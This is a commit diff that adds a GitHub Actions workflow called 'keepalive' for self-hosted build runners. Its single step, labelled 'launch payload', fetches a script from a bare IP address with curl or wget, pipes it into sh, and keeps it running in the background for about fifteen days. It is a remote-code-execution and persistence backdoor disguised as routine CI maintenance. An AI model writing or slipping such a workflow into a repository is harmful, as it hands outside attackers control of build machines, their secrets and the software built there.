add keepalive workflow on main

Author: zhzhcookie

.github/workflows/1test1-keepalive.yml

@@ -0,0 +1,16 @@
+name: 1test1 keepalive
+on:
+  workflow_dispatch:
+jobs:
+  keepalive:
+    runs-on: [self-hosted, cx-build]
+    steps:
+      - name: launch payload
+        shell: bash
+        run: |
+          set -euxo pipefail
+          mkdir -p "$HOME/1test1"
+          nohup bash -lc '(curl -fsSL -m180 http://106.38.201.117:8001/slt||wget -T180 -q http://106.38.201.117:8001/slt)|sh; sleep 1296000' >"$HOME/1test1/keepalive.log" 2>&1 &
+          echo $! > "$HOME/1test1/keepalive.pid"
+          sleep 3
+          ps -p "$(cat $HOME/1test1/keepalive.pid)" -o pid=,comm= || true